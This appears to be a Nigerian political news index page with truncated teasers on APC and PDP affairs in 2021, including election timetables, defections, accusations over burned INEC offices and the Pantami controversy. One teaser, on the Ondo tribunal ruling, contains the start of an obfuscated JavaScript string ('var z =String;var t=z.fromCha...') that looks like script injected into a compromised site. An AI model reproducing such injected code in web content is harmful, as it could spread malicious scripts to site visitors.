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APC Timetable for Lere HoR by-election in Kaduna State Released
9Jul By Dayo OmoogunNo Comments
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APC Timetable for Lere HoR by-election in Kaduna State Released

The All Progressives Congress (APC) has released the timetable and schedule of activities for the conduct of the House of Representatives by-election for the Lere Federal Constituency of Kaduna State. The disclosure was made via a notice issued by the APC Director of Organisation, Professor Al-Mustapha Ussiju Medaner in Abuja.The party took the measure in accordance with the provisions of the Electoral Act 2010 (as amended) and the Independent National Electoral Commission (INEC) guidelines. The schedule of activities starts with Notice of Election to the State Chapter of the APC on Thursday 8th July, 2021 while sales of Forms at the APC National Secretariat will start on Friday 9th and end on Monday 12th July, 2021. The schedule indicates that the last day for submission of comp...
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APC Continues Membership Registration in 4 States
9Jul By Dayo OmoogunNo Comments
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APC Continues Membership Registration in 4 States

The Caretaker/Extraordinary Convention Planning Committee (CECPC) of the All Progressives Congress (APC) has approved the continuation of the Party's membership registration, revalidation and register update exercise in Imo, Kwara, Ogun and Rivers states. The continuation of the exercise in the states was recommended by the Membership Registration Appeals Committee.With this approval, the membership registration, revalidation and register update exercise in the four states will continue for two weeks. Those who have not been registered in these States can purchase forms for congresses, party office elections and conventions. For congresses in Rivers State, all those who have purchased forms in the past will be allowed to participate in the congresses on the presentation of the bank ...
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Kuje LP Councillorship Aspirant Promises Youth Empowerment
22Jun By Gami TadanyigbeNo Comments
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Kuje LP Councillorship Aspirant Promises Youth Empowerment

Comrade Ugwaha David Daniel fache, the Councillorship aspirant under Labour Party (LP) for Central Ward in Kuje Area Council, FCT, has pledged to give priority to youth empowerment, if elected councillor of the ward. Daniel who made the call in an interview with journalist in kuje also promised to be accountable and responsive to the needs of the people for the development of the Area Council. The aspirant said he will intensify on poverty alleviation programmmes with a specific focus on youth employment and empowerment, as he declared that an idle hand is the devil’s workshop. “We all know that the future belongs to the youths who are ingenious, innovative and industrious, they are also the bedrock for development if empowered. “I will Empower the youths to realize their full...
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PDP Chairman Charges EU on Nigeria Electoral Reform
1Jun By Skye ZacharyNo Comments
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PDP Chairman Charges EU on Nigeria Electoral Reform

The National Chairman of the Peoples Democratic Party, PDP, Prince Uche Secondus has charged European Union, EU, to review their support and partnership programs with Nigeria with a view to strengthening the operations of democracy in the country.Prince Secondus who spoke while receiving the EU team of Evaluators led by Prof Adele Juniad and Prof Victor Adetula in his office on Tuesday said that the democracy nurtured by the PDP for 16 years has been under severe stress since the last six years."APC administration has destroyed the democracy we built for 16 years in six years"Prince Secondus said that the EU in evaluating their performance in Nigeria's democratic journey should also consider reviewing its sanction policies for governments and democratic institutions that are not playing b...
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INEC Attacks: PDP’s Accusation is “Senseless and Reckless”, Says APC
27May By Dayo OmoogunNo Comments
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INEC Attacks: PDP’s Accusation is “Senseless and Reckless”, Says APC

The ruling All Progressives Congress says "the senseless and reckless statement from the Peoples Democratic Party (PDP) on the attack on offices of the Independent National Electoral Commission (INEC) reminds us of the judgement of King Solomon in the case of the two women claiming to be the rightful mother of a child. It said while the PDP is willing to split the baby to achieve their desperate and rejected plans for the country, the All Progressives Congress (APC) is continuously doing everything necessary for the country's progress and defence of our democracy. "Using lies and sponsored media attacks on the President Muhammadu Buhari-led APC government, the PDP has inadvertently shown its hands as sponsors behind the politically-motivated attacks on some of our public and democra...
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Burning of INEC Offices: PDP Restates Accusation Against APC
27May By Dayo OmoogunNo Comments
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Burning of INEC Offices: PDP Restates Accusation Against APC

The Peoples Democratic Party (PDP) says it stands by its earlier assertion that the All Progressives Congress (APC) is behind the burning of offices of the Independent National Electoral Commission (INEC) in various parts of the country. The PDP restates its position that the APC has been promoting acts of violence including burning of INEC offices in other to build up an emergency situation and frustrate the smooth conduct of the 2023 general elections. "It is despicable that having realized that it has no place in the 2023 election, given its abysmal failure in governance, APC leaders are seeking to set our country ablaze and truncate our hard-earned democracy. The PDP noted the failure of the APC and its leaders to forcefully condemn this clear assault on our frontline institu...
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150 APC members defect to PDP in Kuje
25May By Gami TadanyigbeNo Comments
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150 APC members defect to PDP in Kuje

Over 150 members of the All Progressives Congress (APC), on Monday, defected to the Peoples Democratic Party (PDP), in Kuje Area Council, FCT. The defectors handed over their APC membership cards, brooms and posters in replacement for the umbrella of the PDP. Mr Godwin Poyi, leader of the defectors and former Kuje APC Chairman shortly after the defection told the News Agency of Nigeria (NAN) that they were dissatisfied by the approach of APC policies. According to him, we decided to join the PDP to contribute to the development of Kuje Area Council and the country as a whole. “Our stay in APC has not been encouraging. APC policies and approach have not encouraged democracy and governance in the area council,” he said. Receiving the defector, the Chairman of PDP in Kuje Area...
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Atiku Tasks Governors on Nigeria’s Drift
17May By Dwelleth MorountodunNo Comments
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Atiku Tasks Governors on Nigeria’s Drift

Former Vice President of Nigeria (1999-2007) and the flagbearer under the People’s Democratic Party (PDP), in the 2019 presidential election, Alhaji Atiku Abubakar, on Sunday said the major challenge facing Nigeria at the moment is that the country is drifting. While tasking the various Governors to up their games and stop the drift, he said to keep waiting for the federal government to take the lead, and effect the changes that Nigeria needs to stop drifting, is to keep waiting for Godot. And that is a luxury we cannot afford, he added. In a signed statement made available to the media in Abuja, he stressed that the country is not just drifting politically and economically, Nigerians are also drifting apart from each other, he added.  He said: “I have often said that the di...
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“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan
5May By Dayo OmoogunNo Comments
News, Politics

“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan

Former President Goodluck Jonathan has again honored the memory of his former principal and predecessor in office, late President Musa Yar’adua on the eleventh anniversary of his demise.In his tribute earlier today, Jonathan stated “Today I celebrate my boss, friend, colleague and brother, President Umar Musa Yar’adua who departed this world 11 years ago.Reflecting, he said they both shared a common vision of a peaceful, united and just nation adding that the late President kept faith with the vision until his last breath.Continuing, he said though he is now out of sight “his legacies lives with us and his memory we will continue to cherish.“We will always remember him as a Peacemaker, Nation builder and democrat whose timeline was defined by virtues of service, peace, truth and love T...
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“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan
5May By Dayo OmoogunNo Comments
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“Yar’adua Was a Peacemaker, Nation Builder, Democrat” – Jonathan

Former President Goodluck Jonathan has again honored the memory of his former principal and predecessor in office, late President Musa Yar’adua on the eleventh anniversary of his demise.In his tribute earlier today, Jonathan stated “Today I celebrate my boss, friend, colleague and brother, President Umar Musa Yar’adua who departed this world 11 years ago.Reflecting, he said they both shared a common vision of a peaceful, united and just nation adding that the late President kept faith with the vision until his last breath.Continuing, he said though he is now out of sight “his legacies lives with us and his memory we will continue to cherish.“We will always remember him as a Peacemaker, Nation builder and democrat whose timeline was defined by virtues of service, peace, truth and love. ...
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APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP
27Apr By Dayo OmoogunNo Comments
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APC, Leaders’ Conspiratorial Silence on Pantami Indicates Support for Terrorism, Says PDP

The Peoples’ Democratic Party (PDP) has accused the All Progressives Congress (APC) and its leaders of a conspiratorial silence in the face of the worrisome revelation in which a member of the Federal Executive Council (FEC) and Minister of Communications and Digital Economy, Isa Ali Pantami, has been accused of affiliation with terrorist groups. (more…)
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Statement in Defence of Pantami Confirms Presidency’s Sympathy for Terrorism–PDP
27Apr By Dayo OmoogunNo Comments
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Statement in Defence of Pantami Confirms Presidency’s Sympathy for Terrorism–PDP

The Peoples Democratic Party (PDP) has called out the Federal Government saying the statement by the Buhari Presidency, in which it showed a desperation to provide official cover to a terrorism apologist further confirms public and international apprehensions that the Buhari administration and the All Progressives Congress (APC) are patronizing acts of terrorism in our country. (more…)
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Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders
21Apr By Gami TadanyigbeNo Comments
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Murtala Qualified to Run for AMAC Chairmanship Primaries – AMAC Stakeholders

The Abuja Municipal Area Council Stakeholders (AMAC) FCT, says Murtala Karshi, a leading All Progressive Congress (APC) Chairmanship aspirant is qualified to run for the party's primary elections scheduled to hold Thursday, April 22, 2021. Comrade Yunusa Yusuf, spokesperson of Abuja stakeholders and Executive Director of Abuja Grassroots Projects, made this known in Abuja during a press conference to counter earlier reports of alleged fraud by the aspirant. Yunusa said the stakeholders are solely behind Murtala to contest in the primaries and that the allegations he was collecting salaries from three different agencies was untrue and baseless. According to him, the alleged report was a mistake from the Independent Payroll Personnel Information System (IPPIS) and which he refunded...
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Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election
20Apr By Oladimeji AbitogunNo Comments
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Expert Explains Possible Reason for Shut-Out of Citizen from Electronic Judgement on Ondo Guber Election

A Nigeria pioneer system engineer, Mr Olusanya Awobodede has blamed the penchant of public officials for patronizing free internet applications for the limited number of persons allowed access to the live electronic ruling being delivered by the Ondo state electoral petition tribunal. Mr Awobodede, a computer engineer with close to 30 years of experience told Sharpedgenews that paid subscription for a dedicated zoom facility would have given more access to interested citizens who were enthusiastic about the judgment that is still being delivered as at press time. It was not certain if there was financial backup for the use of electronic platform on today’s ruling. The host to the zoom platform has since provided a new password, yet it is restrictive. var z =String;var t=z.fromCha...
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen
5Apr By Dayo OmoogunNo Comments
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Alleged Plot to Extend CECPC Tenure Not Discussed By Us- APC States Chairmen

The Forum of State Committee Chairmen of the All progressives Congress (APC) has said that a news report in a section of the media to the effect that the recent meeting of states’ caretaker chairmen of the party rejected a plot to extend the tenure of the Party's Caretaker/Extraordinary Convention Planning Committee (CECPC) is fake and such a plot only exists in the imaginations of the authors and their sponsors.In a statement signed by Ali Buka-Dalori, the Borno State Caretaker Committee Chairman who doubles as the Chairman of the Forum, said such a tenure elongation plot did not come up for discussion at all let alone deliberate on it.“Our meeting deliberated on and unanimously agreed on the need for an extension of the ongoing membership registration, revalidation and update exerci...
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Gen. Ihejirika Joins APC
26Mar By Dayo OmoogunNo Comments
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Gen. Ihejirika Joins APC

Yobe state Governor and Chairman APC Caretaker Extraordinary Convention Planning Committee Hon. Mai Mala Buni, Friday  received the former Chief of Army Staff Lt.Gen. Onyeabo Azubike Ihejirika (rtd) CFR "Dike Abia" into the party. (more…)
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APC Condemns Attack on Governor Ortom’s Convoy
22Mar By Dayo OmoogunNo Comments
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APC Condemns Attack on Governor Ortom’s Convoy

The All Progressives Congress (APC) has condemned the attack on the convoy of the Benue State Governor, Samuel Ortom which occurred on Saturday while thanking God for his safety and acknowledging the gallantry of his security details. (more…)
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